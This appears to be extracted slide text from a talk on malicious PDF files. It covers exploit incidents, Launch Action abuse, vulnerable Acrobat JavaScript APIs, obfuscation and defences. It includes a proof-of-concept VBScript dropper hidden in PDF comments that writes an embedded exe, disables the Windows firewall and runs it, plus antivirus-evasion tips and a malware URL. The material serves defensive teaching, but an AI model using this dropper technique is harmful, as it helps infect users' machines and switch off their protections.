3. About PDF
âą What isPDF?
âą Incidentsin thewild
âą Why pdf attcks?
âą PDF document structure
4. Potentially Dangerous File / Penetration
Document Format
ïStands for Adobe Portable Document Format
ïExchange and manipulation of electronic data
reliable and platform independent
ïHas become most widespread and used document
description format throughout the world
5. Adobe PDF â As a programming language
ïPDF document is more than a powerful document
format
ïHas a complete programming language of its own
ïDedicated to document creation and manipulation
ïRelatively strong execution features
9. Incidents in the wild
ï Jun 14 CVE-2010-1297 PDF Adobe 0-Day WEO from sacchetti.dana@gmail.com
ï Jun 20 CVE-2010-1297 PDF Meeting agenda from alexis.mo88@gmail.com
ï Jun 21 CVE-2010-1297 PDF About the recent US-Japan Economic Relations
ï Jun 21 CVE-2010-1297 PDF Adobe 0-Day About the recent US-Japan Economic
Relations - with Poison Ivy
ï Jun 27 CVE-2009-0927 PDF Discussion on cross-strait maritime cooperation
ï Jul 6 CVE-2010-1297 PDF EPA's Water Sampling Report from spoofed
OCSPP@epa.go
ï Jul 14 CVE-2009-4324 PDF President Obama's Detrimental Deadlines
10. The Reign of Zeus:
ï Zeus (also known as Zbot, PRG, Wsnpoem, Gorhax
and Kneber) is a Trojan horse that steals banking
information by keystroke logging.
ï Found in July 2007 when it was used to steal
information from the United States Department of
Transportation. It became more widespread in
March 2009.
ï In June 2009, security company Prevx discovered
that Zeus had compromised over 74,000 FTP
accounts on websites of companies like: Bank of
America, NASA, Monster, ABC, Oracle, Cisco,
Amazon, BusinessWeek
ï ZeuS is sold in the criminal underground as a kit
for around $3000-$4000, and is likely the one
malware most utilized by criminals specializing in
financial fraud. ZeuS has evolved over time and
includes a full arsenal of information stealing .
11. The Reign of Zeus
A recent
breakthrough in
spreading Zeus via
PDF files threatens to
further the spread of
Zeus. The pdf file
(detected as
Exploit.JS.Pdfka.bui)
contained an exploit
for the CVE-2010-
0188 vulnerability -
buffer overflow â
manifests itself when
the field containing
the image is
accessed.
CVE-2010-0188 exploits statistics 2010
13. Apple iPhone / iPad / iPod Code Execution
and Sandbox Bypass
ïVUPEN ID - VUPEN/ADV-2010-1992
ïRelease date - 2010-08-03
ïIt is caused by a memory corruption
error when processing Compact Font
Format (CFF) data within a PDF
document, which could be exploited by
attackers to execute arbitrary code by
tricking a user into visiting a specially
crafted web page using Mobile Safari
14. Why PDF
ïPopularity and usability
ïFlexibility, platform
independent, rich text
ïTrust level is high on pdf â
static piece of information
ïRich api, easy to exploit /
misuse
ïDominance of Adobe reader,
huge scope for attack
15. PDF document structure
ïThe general
structure of a PDF
file is composed of
the following code
components:
header, body, cross-
reference (xref)
table, and trailer, as
shown in figure 1.
17. Launch Action
âą Launch Action Api
âą SomeExamples
âą Evading Antivirus
âą With embedded EXE
18. Launch Action Vulnerability
A launch action launches an application or opens or prints a document.
Following are the action dictionary entries specific to this type of action.
ï ENTRIES
ï S :Name
Required) The type of action that this dictionary describes; shall be Launch for
a launch action.
ï F: File specification
(Required if none of the entries Win, Mac, or Unix is present) The application
that shall be launched or the document that shall be opened or printed. If this
entry is absent and the conforming reader does not understand any of the
alternative entries, it shall do nothing.
ï Win : dictionary
(Optional) A dictionary containing Windows-specific launch parameters.
19. Launch Action Vulnerability
ï PARAMETERS
ï F : byte string
(Required) The file name of the application that shall be launched or
the document that shall be opened or printed, in standard Windows
pathname format. If the name string includes a backslash character
(), the backslash shall itself be preceded by a backslash. This value
shall be a simple string; it is not a file specification.
ï P : byte string
(Optional) A parameter string that shall be passed to the application
designated by the F entry. This entry shall be omitted if F
designates a document.
28. Evading Antivirus by Changing the format
ïYou can take any other
PDF data type and give
it a number by
wrapping it in "obj" and
"endobj". Then later on,
when you want to use
that chunk of data, you
can reference it, by
number, with the "R"
operator.
ïThese two examples are
equivalent to Acrobat
2 0 obj
(Hello World)
Endobj
3 0 obj
<<
/Example 2 0 R
>>
Endobj
3 0 obj
<<
/Example (Hello
World)
>>
endobj
29. Evading Antivirus
ï What You Can Leave Out
ïĄ All Page data
ïĄ All Whitespace, except for End-Of-Line after comments
ïĄ The version number part of %PDF-1.1
ïĄ The %%EOF
ïĄ The xref table
ïĄ And thus also startxref
ïĄ Most Object /Types
ï So what's actually required?
ïĄ %PDF-anything, but if the file is too confusing for Acrobat, you need at least
the first number. Like %PDF-1.
ïĄ A trailer with a /Root dictionary for the Catalog
ïĄ A /Pages dictionary, but this can be empty, just as long as it's a dictionary
type.
ïĄ An /OpenAction if you want to launch your Javascript upon file open.
ïĄ The Javascript Action.
32. POC: Launching an Embedded exe
ïStep 1 : Embed the hex content of the exe in a
vbscript which extracts it out to the file system and
runs it.
ïStep 2 : Embed that vbscript in the pdf file as
comments.
ïStep 3 : Launch cmd.exe and create another script
which extracts out the main vbscript from the pdf
and run them both.
33. Step 1 : Embed the hex content of the exe in a
vbscript
Dim b,bl
Function c(d)
c=chr(d)
End Function
b=Array(c(77),c(90),c(144),c(0),c(3),c(0), c(0)....,"")
bl = 3072
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(âhelpme.exe", 2, True)
For i = 0 To bl
f.write(b(i))
Next
f.close()
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "netsh firewall set opmode disable", 0, True
WshShell.Run "helpme.exe", 0, False
WshShell.Run "taskkill /IM cmd.exe /F", 0, False
Hex content of
the exe as a
character array
34. Step 2 : Embed the vbscript in the pdf file as
comments
%'SS
%Dim b,bl;Set WshShell = Function c(d);c=chr(d);End
Function;b=Array(c(77),c(90),c(144),c(0),.....,"");bl = 3072;Set fso =
CreateObject("Scripting.FileSystemObject");Set f =
fso.OpenTextFile("helpme.exe", 2, True);For i = 0 To
bl;f.write(b(i));Next;f.close(); Set WshShell =
WScript.CreateObject("WScript.Shell") ;WshShell.Run "netsh
firewall set opmode disable", 0, True;WshShell.Run "helpme.exe",
0, False;WshShell.Run "taskkill /IM cmd.exe /F", 0, False
%'EE
6 0 obj
[/PDF /Text]
endobj
36. Generated VBScript
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.OpenTextFile("EmbeddedExePoC.pdf", 1, True)
pf=f.ReadAll
s=InStr(pf,"'SS")
e=InStr(pf,"'EE")
s=Mid(pf,s,e-s)
Set z=fso.OpenTextFile("toexecute.vbs", 2, True)
s = Replace(s,"%","")
s = Replace(s,";",vbcrlf)
z.Write(s)
38. AcroJS
âą Acrobat JavaScript is the cross-platform scripting
language of the AdobeÂź AcrobatÂź family of products.
âą Through JavaScript extensions, the viewer application
and its plug-ins expose much of their functionality to
document authors, form designers, and plug-in
developers.
âą This functionality includes the following features,
â Processing forms within the document
â Batch processing collections of PDF documents
â Developing and maintaining online collaboration schemes
â Communicating with local databases
â Controlling multimedia events
39. JavaScript Actions
âą A JavaScript action causes a script to be compiled and executed by the
JavaScript interpreter.
âą Depending on the nature of the script, various interactive form fields in the
document may update their values or change their visual ap-pearances.
PARAMETERS
/S
Type - name
(Required) The type of action that this dictionary describes; must be
JavaScript for a JavaScript action.
/JS
Type - text string or text stream
(Required) A text string or text stream containing the JavaScript script to be
exe-cuted.
43. Vulnerable APIs
âą getIcons() [CVE-2009-0927]
â Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9
before 9.1, 8 before 8.1.3 , and 7 before 7.1.1 allows remote attackers to
execute arbitrary code via a crafted argument to the getIcon method of a
Collab object, a different vulnerability than CVE-2009-0658.
âą Util.printf() [CVE-2008-2992][CVE-2008-1104]
â Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and
earlier allows remote attackers to execute arbitrary code via a PDF file
that calls the util.printf JavaScript function with a crafted format string
argument, a related issue to CVE-2008-1104.
â Stack-based buffer overflow in Foxit Reader before 2.3 build 2912 allows
user-assisted remote attackers to execute arbitrary code via a crafted
PDF file, related to the util.printf JavaScript function and floating point
specifiers in format strings.
44. Vulnerable APIs
âą getAnnots() [CVE-2009-1492]
â The getAnnots Doc method in the JavaScript API in Adobe Reader
and Acrobat 9.1, 8.1.4, 7.1.1, and earlier allows remote attackers to
cause a denial of service (memory corruption) or execute arbitrary
code via a PDF file that contains an annotation, and has an
OpenAction entry with JavaScript code that calls this method with
crafted integer arguments.
âą customDictionaryOpen() [CVE-2009-1493]
â The customDictionaryOpen spell method in the JavaScript API in
Adobe Reader 9.1, 8.1.4, 7.1.1, and earlier on Linux and UNIX
allows remote attackers to cause a denial of service (memory
corruption) or execute arbitrary code via a PDF file that triggers a
call to this method with a long string in the second argument.
45. Vulnerable APIs
âą Doc.media.newPlayer [CVE-2009-4324]
â Use-after-free vulnerability in the Doc.media.newPlayer method in
Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x
before 8.2 on Windows and Mac OS X, allows remote attackers to
execute arbitrary code via a crafted PDF file using ZLib compressed
streams, as exploited in the wild in December 2009.
âą Collab.collectEmailInfo [CVE-2007-5659]
â Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1 and
earlier allow remote attackers to execute arbitrary code via a PDF file
with long arguments to unspecified JavaScript methods. NOTE: this
issue might be subsumed by CVE-2008-0655.
46. Obfuscation Techniques
ïWhy?
ïĄ To make analysis more difficult
ïĄ To avoid detection by virus scanners
ïWays?
ïĄ Using javascript Obfuscation
ïĄ Using Pdf Obfuscations(Filters)
48. Distorting format
Normal Code Obfuscated Code
function execute(data, time)
{
Timelag=5000;
if (time > Timelag)
{
// some code
}
}
function overflow(hex, loop)
{
for (i=0;i<loop;i++)
{
hex = hex + hex;
}
}
function overflow(hex, loop){for
(i=0;i<loop;i++){hex = hex + hex;}}
function overflow(hex, loop) {for
i=0;i<loop;i++){hex = hex + hex;}}
49. Obfuscating Identifiers
Normal Code Obfuscated Code
function execute(data, time)
{
Timelag=5000;
if (time > Timelag)
{
// some code
}
}
function overflow(hex, loop)
{
for (i=0;i<loop;i++)
{
hex = hex + hex;
}
}
function aeiou(lIlIIlI, O0OOOO0OO000OO)
{
WWMWMMWMWMWMW=5000;
if (O0OOOO0OO000OO >
WWMWMWMWMWMW)
{
// some code
}
}
function aimpq(xxwmnnx, pqrtxw)
{
for (dqweaa=0; dqweaa < pqrtxw; dqweaa ++)
{
xxwmnnx = xxwmnnx + xxwmnnx;;
}
}
50. Obfuscating Identifiers â Even Worse
Differentiating with number of underscore characters
function _____(____,__________)
{
______________=5000;
if (__________>______________)
{
// some code
}
}
function ___(_______, ______)
{
for(________________=0; ________________<______;
________________ ++)
{
_______ = _______ + _______;
}
}
51. Obfuscating Identifiers â Even Worse
Differentiating with number of underscore characters
function _____(____,__________){______________=5000;if
(__________>______________){// some code}}function ___(_______,
______){for(________________=0; ________________<______;
________________ ++){_______ = _______ + _______;}}
52. Chain of Eval
Normal Code Obfuscated code
app.alert(âc0c0nâ) func="eval";
one='app.alert("c0c0n")';
two=eval(one);
three=eval(two);
eval(func(three));
54. Callee Trick
Function accesses its own source and uses it as a key to decrypt code
or data
function decrypt(cypher)
{
var key = arguments.callee.toString();
for (var i = 0; i < cypher.length; i++)
{
plain = key.charCodeAt(i) ^ cypher.charCodeAt(i);
}
...
}
55. Pdf obfuscations
ïUsing Filters for streams.
ïMost common encoding techniques -
ïĄ ASCIIHEXDecode,
ïĄ ASCII85Decode,
ïĄ LZWDecode,
ïĄ FlateDecode,
ïĄ RunLengthDecode
56. Case Study
ïMalware found from - www.malwaredomainlist.com
ïFile link www.bigiqwars.ru/ppp/exp/pdf.php?
user=admin&pdf_acces=on
ïAdded on â 29th
july 2010
60. STEP-2
Behavioral Analysis
Environment
âą By using vm image
âą Filemon,Processmon,Regmon,TCPView
Results
âą Under Process âAcroRD32.exeâ Was trying to connect
to remote site http://bigiqwars.ru/ppp/exe.php?
spl=PDF (newPlayer)&user=admin&exe_acces=on
71. How can we protect ourselves
âą Enable automatic updates: it sounds simple, but you will need to turn it on
in the software settings to make it happen by default.
âą Disable PDF browser integration: most browsers will open PDFs without
asking. An infected PDF will deliver its payload without warning, hiding in
the background.
âą Always install the latest patch/update, even for older Adobe product
versions.
âą Disable Javascript
âą Uncheck âAllow non-PDF gile attachments with external applicationsâ to
prevent launch action vulnerability.
âą PDF alternatives such as Foxit are worthwhile, as long as auto updates are
turned on, however alternative programs are just as vulnerable to malware
as they gain popularity.
72. Road Ahead
ïFocus Less on javascript exploits
ïAttackers focusing more on embedded objects inside
pdf i.e flash
ïAdobe to introduce sandboxing to limit Reader
exploits
THE ADOBE PORTABLE DOCUMENT FORMAT (PDF) is a ïŹle format for rep- resenting documents in a manner independent of the application software, hard- ware, and operating system used to create them and of the output device on which they are to be displayed or printed. A documentâs pages (and other visual elements) may contain any combination of text, graphics, and images. A pageâs appearance is described by a PDF content stream, which contains a sequence of graphics objects to be painted on the page. This appearance is fully speciïŹed; all layout and formatting decisions have al- ready been made by the application generating the content stream. In addition to describing the static appearance of pages, a PDF document may contain interactive elements that are possible only in an electronic representa- tion. PDF supports annotations of many kinds for such things as text notes, hypertext links, markup, ïŹle attachments, sounds, and movies. A document can deïŹne its own user interface; keyboard and mouse input can trigger actions that are speciïŹed by PDF objects. The document can contain interactive form ïŹelds to be ïŹlled in by the user, and can export the values of these ïŹelds to or import them from other applications.
Distorting format â Removing newlines and spaces - Not much of pain to deobfuscate (ex-jsbeautifier.org)
Name obfuscation â variable name and function name are renamed Most common obfuscation techniques
JavaScript code can execute JavaScript code in strings through eval
âąOften used to hide later code stages which are decrypted on the fly
âąCommon way to extract argument: replace eval with a printing function
Not specific to Adobe Reader
âąFrequently used by JavaScript code in other contexts
âąFunction accesses its own source and uses it as a key to decrypt code or data
âąAdd a single whitespace and decryption fails
Online decoders available to decode themâŠ.
We can not hit the pdf file link directly,So we chose WGET to download that file contents
Javascript Found on object 11 0.. Encoded with ascii85Encoding.. First obfuscation â filtersâŠ
Second Obfucation â Distorted formatting.
Third Obfuscation â Obfuscated identifiers and unnecessary comments